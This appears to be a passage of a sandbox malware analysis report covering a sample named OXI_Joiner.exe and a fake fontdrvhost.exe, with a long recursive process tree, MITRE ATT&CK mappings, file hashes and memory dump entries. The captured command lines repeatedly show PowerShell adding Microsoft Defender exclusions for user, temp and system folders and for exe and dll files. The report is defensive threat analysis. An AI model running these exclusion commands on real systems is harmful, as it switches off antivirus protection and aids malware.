        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        92⤵
        
        PID:14944
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        93⤵
        
        PID:4648
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        94⤵
        
        PID:11012
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        95⤵
        
        PID:1920
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        92⤵
        
        PID:11016
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        93⤵
        
        PID:15304
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        94⤵
        
        PID:4924
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        95⤵
        
        PID:14568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        96⤵
        
        PID:15000
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        93⤵
        
        PID:11764
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        94⤵
        
        PID:13888
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        95⤵
        
        PID:9084
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        96⤵
        
        PID:10008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        97⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2344
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        94⤵
        
        PID:15648
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        95⤵
        
        PID:10036
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        96⤵
        
        PID:3416
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        97⤵
        
        PID:4120
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        98⤵
        
        PID:11840
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        95⤵
        
        PID:11800
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        96⤵
        
        PID:12976
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        97⤵
        
        PID:2576
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        98⤵
        Executes a command shell one-liner
        
        PID:7540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        99⤵
        
        PID:16340
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        96⤵
        
        PID:8296
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        97⤵
        
        PID:15448
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        98⤵
        
        PID:11268
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        99⤵
        Executes a command shell one-liner
        
        PID:8172
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        100⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9908
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        97⤵
        
        PID:16876
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        98⤵
        
        PID:6100
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        99⤵
        
        PID:6548
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        100⤵
        
        PID:2292
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        101⤵
        
        PID:11024
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        98⤵
        
        PID:3728
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        99⤵
        
        PID:16092
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        100⤵
        
        PID:16472
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        101⤵
        
        PID:9860
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        102⤵
        
        PID:9644
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        99⤵
        
        PID:11384
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        100⤵
        
        PID:14832
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        101⤵
        
        PID:2368
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        102⤵
        Executes a command shell one-liner
        
        PID:16332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        103⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15772
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        100⤵
        
        PID:8244
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        101⤵
        
        PID:9956
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        102⤵
        
        PID:7888
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        103⤵
        
        PID:6156
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        104⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:16508
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        101⤵
        
        PID:15916
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        102⤵
        
        PID:7420
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        103⤵
        
        PID:15804
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        104⤵
        
        PID:10508
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        105⤵
        
        PID:1924
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        102⤵
        
        PID:9720
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        103⤵
        
        PID:16852
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        104⤵
        
        PID:2668
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        105⤵
        
        PID:13908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        106⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:16908
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        103⤵
        
        PID:9684
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        104⤵
        
        PID:3912
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        105⤵
        
        PID:4208
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        106⤵
        
        PID:8532
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        107⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:17300
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        104⤵
        
        PID:14540
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        105⤵
        
        PID:8588
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        106⤵
        
        PID:16416
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        107⤵
        
        PID:5508
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        108⤵
        
        PID:13748
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        105⤵
        
        PID:14120
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        106⤵
        
        PID:8368
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        107⤵
        
        PID:11988
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        108⤵
        
        PID:16028
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        109⤵
        
        PID:17112
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        106⤵
        
        PID:12204
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        107⤵
        
        PID:3036
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        108⤵
        
        PID:10924
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        109⤵
        
        PID:17280
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        107⤵
        
        PID:440
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        108⤵
        
        PID:13432
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        108⤵
        
        PID:7440
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        109⤵
        
        PID:16752
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        109⤵
        
        PID:17028
        
        C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe"
        110⤵
        
        PID:13912
        
        C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
        
        "C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe"
        110⤵
        
        PID:6948

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Masquerading

T1036

Match Legitimate Name or Location

T1036.005

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 50b9dc324634108ff1aa98008c68c20b19c4e982d377c82afc12ea505ff598bd
MD5 2effd9b76a5fd667b1642852861ce04e
SHA1 86c9117fff0fd1a99dbc6dba27ebd143235eb996
SHA512 5f51665089f7705ba4dbb70b3b6d4368208751a5577300c73910fa46c6b6fd038b6d1c26b0e455bcf2f0cff058e9d18768692a998ba4e273f8ed56c9c3d938a4
SSDEEP 1536:1KLg07Yo2hk3MFfKQVAflJdpHYLh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2Va5o:1KLg07Yo2hk3MFfKQVAflJd9YLqiUpRe
TLSH
T1EC636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
MD5 81b56f1dad28119d54bf23c83fc570b9
SHA1 cb9a89a716465611149ce3c700bd60681d434faf
SHA512 77bd4d53ca86d66d29ba662dd424e94e5cef46c6a460cbf9f8d87a40c627401c0f6d0fe30258c23ed1cf63df1a70b19288885a33c206fb85a19f12efaab61927
TLSH
T1F3216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2772f296f5f4a7a37713b7c362d482afc1624643bb822cd2e020e9dbcae12d54
MD5 6f64f059f08f6f27bd9f132fdec156b2
SHA1 e5f84e38d480285ea35d2feb9a3ffc857f647034
SHA512 49cefa6fed306ad25136796a42e306c220b127d544a8dfb15392386ca09c2c8796e2ff68d086a3fdf065f6c9f3aee632ef50263773d602d52b901eeb425f3769
TLSH
T143213433F3DD8614CC99403A60CEA81036FA87CB81DECFAB7B84D155A52F699CE60260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b232b101ee44f6de8142d0249f9364d9204aaf428ea70a533019bcab222ed653
MD5 6704df7218948a0082f64542b247a4ee
SHA1 a020284c1310290bd057c7e18d115474bb631bfa
SHA512 3a1537bf72e7b8f7c1e7a5708b7b8b89ca7ba1ce5109e457e68addaa0c34d54fc11fc7bb03251d9b3131642d5b74cea9fadbcf5ec24ce00216c7e73477933c53
TLSH
T124213833F3DD8514CC99403A60CDA81036F687CB81DECF5B7B84D155A52F699CE60160
MD5 SHA1 SHA512 TLSH

Submit Download

OXI_Joiner.exe

Path C:\Users\Admin\AppData\Local\Temp\OXI_Joiner.exe
Size 2.8MB
SHA256 a4403e20eb24f7e3241b0122d4f2ffcbb6fb7734b4576d6a20689bf50edeb2cf
MD5 25c3098cb44d529a4af856eb0bac1deb
SHA1 6491aed3f2bed56421ab1ffec91fadd5d8e4ae4f
SHA512 1f61ebd3bd4bd9af627eb6c0353d70006aca78bba18a6fc5ecab7e2d780d59d416cdeb546b66bfb1907cfe548e273c5c79a6e2793b710a1243527209febdd4f1
SSDEEP 49152:zdwOnUeBbxObCSbjgTaT/uV081f3+b/oRTKSxLP0UwtlFPbfLGIKKkfVtwD74/Q:zd2SFCYQUV+UR2Sh0zPFPbfLGISfjwDV
TLSH
T1D9D5334E2D2D411BE4A476790417C9C9E7F50FB6868DB38B72243B283977E3D2A345E8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_4jnqyprh.gw2.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4jnqyprh.gw2.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

fontdrvhost.exe

Path C:\Users\Admin\AppData\Local\Temp\fontdrvhost.exe
Size 2.1MB
SHA256 a8e47872f8323d4e058441dd9d655887277663e5d598f309452af6954b7801e3
MD5 5f8bda6e279396db3889d3af1e764836
SHA1 37b705aad6f49c45dc9c6a1d580913638c82835b
SHA512 32c45ada932036e198ff674e4591d0bc5939731c5608fe51ee53d823dbc268e52759b5a73e05eedd102c5b195fe0c5e7d4d363e8b5c23d16183865af95bdf6a4
SSDEEP 49152:609weXSsz6ugMPa4ilqV2g2cUZeu6wOdy9vmJeprWBFM:605XSFugMChEsrcUZe3wOdgmE0BFM
TLSH
T123A53367C050E11AE47E97F7210050B1D120BAA4BFC058D2CDEECB197BA88E9D66B779
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WR64.sys

Path C:\Users\Admin\AppData\Roaming\Microsoft\Libs\WR64.sys
Size 14KB
SHA256 11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5
MD5 0c0195c48b6b8582fa6f6373032118da
SHA1 d25340ae8e92a6d29f599fef426a2bc1b5217299
SHA512 ab28e99659f219fec553155a0810de90f0c5b07dc9b66bda86d7686499fb0ec5fddeb7cd7a3c5b77dccb5e865f2715c2d81f4d40df4431c92ac7860c7e01720d
SSDEEP 192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
TLSH
T1096218874B7E1906FB969F7592E9C7936D34F6C0CFA825CF421299982C413E0AF2861C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sihost64.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
Size 31KB
SHA256 d304c7e313deb39869f1baa0fd67c0b088a11e1484b70e22d399bb0cae4cf003
MD5 ef22ea887809932ac8b8f2b8b64e4bb1
SHA1 507514e216fea9da923ade77b94a376df39756fb
SHA512 45ff58a37bf38c5d6f9c3c72f29210e0001cad0a11bbf595d300cbf338893265e2b5f1539bb18032d3626080da412d1af129f43060c70628371acf2f2dead481
SSDEEP 768:6G7e2Veyg7LtzK4X0P1B4cv8RxLnBGrXjvf1:Qcey2LpX0PIYo5Bcj1
TLSH
T18AE2AE7FDE794028E32F10BF8AD20055E8B4B2FA159571C396EE0FB05B58C7A62553CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2068-34-0x000001B7DDC50000-0x000001B7DDE70000-memory.dmp

Download

memory/2068-35-0x000001B7C4F70000-0x000001B7C4F82000-memory.dmp

Download

memory/2068-31-0x000001B7C2E20000-0x000001B7C3041000-memory.dmp

Download

memory/4524-63-0x0000021FEBF80000-0x0000021FEBF8A000-memory.dmp

Download

memory/4524-53-0x0000021FEC040000-0x0000021FEC05E000-memory.dmp

Download

memory/4524-54-0x0000021FEC060000-0x0000021FEC112000-memory.dmp

Download

memory/4524-43-0x0000021FD3AC0000-0x0000021FD3AE2000-memory.dmp

Download

memory/14236-414-0x0000000140000000-0x0000000140786000-memory.dmp

Download